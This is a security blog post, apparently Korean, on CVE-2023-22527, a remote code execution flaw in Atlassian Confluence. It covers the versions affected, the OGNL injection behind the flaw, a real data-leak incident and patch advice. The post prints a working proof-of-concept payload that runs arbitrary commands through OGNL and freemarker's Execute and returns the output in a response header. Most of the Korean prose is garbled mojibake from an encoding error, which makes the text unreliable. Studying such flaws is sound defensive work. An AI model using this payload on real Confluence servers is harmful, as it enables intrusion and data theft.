Metasploit/Vulnerability

CVE-2023-22527 : Atlassian Confluence ์ทจ์•ฝ์ 

๐“›๐“พ๐“ฌ๐“ฎ๐“ฝ๐“ฎ_๐“ข๐“ฝ๐“ฎ๐“ต๐“ต๐“ช 2024. 3. 3.
728x90
๋ฐ˜์‘ํ˜•

ํ•ด๋‹น ๋ธ”๋กœ๊ทธ๋Š” ํ•ดํ‚น ๋ฐ ๋ณด์•ˆ ๋ธ”๋กœ๊ทธ๋กœ ๊ณต๋ถ€ ๋ฐ ์—ฐ๊ตฌ์šฉ์œผ๋กœ ์ž‘์„ฑ๋˜์–ด์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜์˜ ๋‚ด์šฉ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ดํ‚น ์‹œ๋„ ๋ฐ ์‹ค์ œ ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•˜์—ฌ ์ผ์–ด๋‚˜๋Š” ๋ชจ๋“  ์ฑ…์ž„์€ ๋ณธ์ธ(๋”ฐ๋ผํ•œ์ž)์—๊ฒŒ ์žˆ์Œ์„ ์•Œ๋ ค๋“œ๋ฆฌ๋ฉฐ, ๊ธ€์“ด์ด๋Š” ์•„๋ฌด๋Ÿฐ ์ฑ…์ž„์„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ผญ ๊ณต๋ถ€ ๋ฐ ์—ฐ๊ตฌ์šฉ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•˜์—ฌ ์ฃผ์‹œ๊ธธ ๋ฐ”๋ž๋‹ˆ๋‹ค. ๋˜ํ•œ ์•ฝ๊ฐ„์˜ ํ‹€๋ฆฐ๋‚ด์šฉ ๋ฐ ์‚ฌ์šฉ๋œ ์ทจ์•ฝ์ ์ด ์ถ”๊ฐ€์ ์œผ๋กœ ์žˆ์Œ์„ ์•Œ๋ ค๋“œ๋ฆฝ๋‹ˆ๋‹ค.

 

๋ช‡๋‹ฌ์ „ ํ…”๋ ˆ๊ทธ๋žจ์„ ํ†ตํ•ด ๋Œ€ํ•™๊ต, ์—ฌ๋Ÿฌ๊ธฐ๊ด€์˜ ๋ฐ์ดํ„ฐ๊ฐ€ ์œ ์ถœ๋œ ์ผ์ด ์žˆ์—ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ค‘๊ตญ์˜ ๋‹ˆ์˜Œ์œผ๋กœ ๋ถˆ๋ฆฌ๋Š” ํ•ด์ปค๋กœ ์‹œ์ž‘๋˜์—ˆ์œผ๋ฉฐ ํ…”๋ ˆ๊ทธ๋žจ์„ ํ†ตํ•ด ์‹ค์ œ ๋ฐ์ดํ„ฐ๋“ค์ด ์œ ์ถœ์ด ๋˜์—ˆ๋‹ค. 

 

๋ช…์ ˆ(์„ค)์„ ์•ž๋‘๊ณ  ์žˆ๋Š” ์ƒํ™ฉ์ด๋ผ ๊ณตํœด์ผ์— ๋˜ํ•œ ๊ณต๊ฒฉ์„ ์ง„ํ–‰ํ•  ๊ฒƒ์ด๋ผ๊ณ  ์˜ˆ๊ณ ๋Š” ํ–ˆ์œผ๋‚˜ ๋‹ˆ์˜Œ์˜ ํ…”๋ ˆ๊ทธ๋žจ์„ ํ†ตํ•œ๋ฐ”๋กœ๋Š” ๋ฌธ์ œ์˜ ์†Œ์ง€๊ฐ€ ์žˆ๋˜ ๋ถ€๋ถ„์„ ์„œ๋กœ ์˜คํ•ด๋ฅผ ํ’€๊ณ  ๋งˆ๋ฌด๋ฆฌ๊ฐ€ ๋˜์—ˆ๋‹ค๊ณ  ๊ธ€์„ ์˜ฌ๋ ธ๋‹ค. 

 

์‚ฌ์‹ค ์œ„์— ๋‚ด์šฉ์€ ๋ญ ๊ทธ๋ƒฅ ๊ณต๊ฒฉ์ด ์žˆ์—ˆ๊ณ  ์ผ์–ด๋‚ ์ˆ˜๋„ ์žˆ๋‹ค. ์ด๋ ‡๊ฒŒ ์ƒ๊ฐํ•˜๊ณ  ์ง€๋‚˜๊ฐˆ ์ˆ˜ ์žˆ์œผ๋‚˜ ํ•œํŽธ์œผ๋ก  ์–ด๋–ค์ทจ์•ฝ์ ์„ ์‚ฌ์šฉํ•˜์˜€์„๊นŒ ๋ผ๋Š” ์ƒ๊ฐ์ด ๋“ค์—ˆ๊ณ  ์‚ฌ์šฉ๋œ ์ทจ์•ฝ์ ๊ณผ ๋‹ˆ์˜Œ์ด ์‹ค์ œ๋กœ ์‚ฌ์šฉํ•œ ํŽ˜์ด๋กœ๋“œ ๋“ฑ์„ ๊ตฌํ•  ์ˆ˜์žˆ์—ˆ๋‹ค. 

์‹ค์ œ ์‚ฌ์šฉํ•œ ํŽ˜์ด๋กœ๋“œ ๊ฐ™์€ ๊ฒฝ์šฐ์—” ๊ณต๊ฐœ๋ฅผ ํ•˜์ง€์•Š์„ ์˜ˆ์ •์ด๋‹ค.

 

๊ณต๊ฒฉ์ด ์ผ์–ด๋‚œ ๋‚  ์–ด๋–ค ์ทจ์•ฝ์ ์„ ์ด์šฉํ•˜์˜€๋Š”์ง€ ํ™•์ธํ•˜์˜€์œผ๋‚˜ ์ด์ œ ๊ธ€์„ ์“ฐ๋Š” ์ด์œ ๋Š” ์ทจ์•ฝ์ ์ด ํŒจ์น˜์•ˆ๋œ๊ณณ๋“ค ๋˜ํ•œ ๋งŽ์•˜๊ณ  ๊ทธ๋งŒํผ์˜ ์ด์Šˆ๊ฐ€ ๋งŽ์ด ๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ง€๊ธˆ์€ ๊ณต๋ถ€ ๋ฐ ์—ฐ๊ตฌ ๋ชฉ์ ์œผ๋กœ ์ž‘์„ฑ์„ ํ•œ๋‹ค. ๋ถˆ๋ฒ•์ ์œผ๋กœ ์‚ฌ์šฉ ์ ˆ๋Œ€ ๊ธˆ์ง€

 

์‚ฌ์šฉ๋œ ์ทจ์•ฝ์ ์€ CVE-2023-22527(Atlassian Confluence)์ด๋‹ค. Atlassian Confluence์˜ ๊ฒฝ์šฐ ์ƒ์šฉ์œ„ํ‚ค ์ฆ‰ ํ˜‘์—… ๋ฌธ์„œ์— ์‚ฌ์šฉ๋œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด ์‰ฌ์šธ ๊ฒƒ๊ฐ™๋‹ค. 

 

๊ทธ๋Ÿผ ๋ชจ๋“  Atlassian Confluence์—์„œ ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” ๊ฒƒ์ผ๊นŒ?

  - ๊ทธ๋ ‡์ง€ ์•Š๋‹ค. ํ•ด๋‹น ์ทจ์•ฝ์ ์€ 8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x, 8.5.0-8.5.3 ๋ฒ„์ „์—์„œ๋งŒ ๋ฐœ์ƒํ•œ๋‹ค.

 

์™œ์ผ์–ด๋‚˜๋Š” ๊ฒƒ์ผ๊นŒ?

  - Atlassian Confluence๋Š” JAVA์˜ ์–ธ์–ด๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ๋œ๋‹ค. ์ด๋•Œ ๋ณต์žกํ•œ ๊ตฌ๋ฌธ์„ ํŽธ์˜๋ฅผ ์œ„ํ•ด ๊ฐ„ํŽธํ™”๋ฅผ ํ•˜๋Š”๋ฐ ์ด๋•Œ OGNL(Object-Graph Navigation Language)๋ฅผ ์‚ฌ์šฉํ•˜๊ฒŒ ๋œ๋‹ค. ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ๋ฌธ์ œ๊ฐ€ ๋˜์ง€์•Š์œผ๋‚˜ ์‚ฌ์šฉ์„ ํ• ๋•Œ ์ ์ ˆํ•œ ๊ฒ€์ฆ ๋ฐ ์‚ฌ์šฉ ํ›„ ์‚ญ์ œํ•˜์ง€์•Š์„ ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ์ฆ‰, ์šฐ๋ฆฌ๊ฐ€ ํ”ํžˆ ์•„๋Š” ์›๊ฒฉ์ฝ”๋“œ์‹คํ–‰(RCE)๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

 

PoC ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด ์•„๋ž˜์˜ payload๊ฐ€ ์žˆ๋Š”๋ฐ

headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    data = r"label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({'" + cmd + "'}))"

 

payload๋ฅผ  ํ™•์ธํ•ด๋ณด๋ฉด #request .KEY_Velocity.structs2.context.internalGet("OGNL") ๋ผ๋Š” ๊ตฌ๋ฌธ์„ ํ†ตํ•ด OGNL๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

์ด๋ ‡๊ฒŒ OGNL ๊ตฌ๋ฌธ์„ ์ด์šฉํ•˜์—ฌ ์›๊ฒฉ์ฝ”๋“œ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜์—ฌ ๊ณต๊ฒฉ์ด ์‹คํ–‰๋˜์—ˆ๋‹ค. 

๊ตฌ๋ฌธ์„ ์‹ค์ œ๋กœ ๋ณด๋‚ด๋ณด์ž

confluence ํŽ˜์ด์ง€

 

๋ช…๋ น์„ ๋‹จ์ผ์ ์œผ๋กœ ๋ณด๋‚ผ์ˆ˜ ์žˆ์ง€๋งŒ shell์„ ์ด์šฉํ•˜์—ฌ ๋Œ€ํ™”ํ˜•์œผ๋กœ ๋ช…๋ น์„ ์‹œํ‚ฌ๊ฒƒ์ด๋‹ค.

 

์ด๋ ‡๊ฒŒ ์›๊ฒฉ ์ฝ”๋“œ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ์ทจ์•ฝํ•œ ๋ฒ„์ „์˜ confluence๋ฅผ ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๊ณ  ์ƒ๊ฐ๋ณด๋‹ค ์ทจ์•ฝํ•œ ์„œ๋ฒ„๋“ค์ด ๋งŽ์„ ๊ฒƒ์œผ๋กœ ์ƒ๊ฐ๋œ๋‹ค. ํ™•์ธํ•ด๋ณด๋‹ˆ ๋น„์Šทํ•œ ์ทจ์•ฝ์ ์ด 2017๋…„์—๋„ ๋ฐœ๊ฒฌ๋œ ๊ฒƒ์œผ๋กœ ์•Œ๊ณ ์žˆ๋‹ค.

 

์ทจ์•ฝ๋ฒ„์ „์„ ์‚ฌ์šฉํ•˜๋Š” ์„œ๋ฒ„๋Š” ๋น ๋ฅด๊ฒŒ ๋ณด์•ˆ์ทจ์•ฝ์  ํŒจ์น˜๋œ ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์„ ๊ฒƒ๊ฐ™๋‹ค. ํŽธ์˜๋ฅผ ์œ„ํ•ด OGNL์„ ์‚ฌ์šฉ ํ•˜๋Š” ๊ฒƒ์€ ์ข‹์œผ๋‚˜ ์กฐ๊ธˆ๋” ์‹ ๊ฒฝ์„ ์“ฐ๊ณ  ์‚ฌ์šฉ์„ ํ•˜๋ฉด ์˜ˆ๋ฐฉ์ด ๊ฐ€๋Šฅํ•˜์ง€์•Š์„๊นŒ๋ผ๋Š” ์ƒ๊ฐ์ด ๋“ ๋‹ค.

728x90
๋ฐ˜์‘ํ˜•

๋Œ“๊ธ€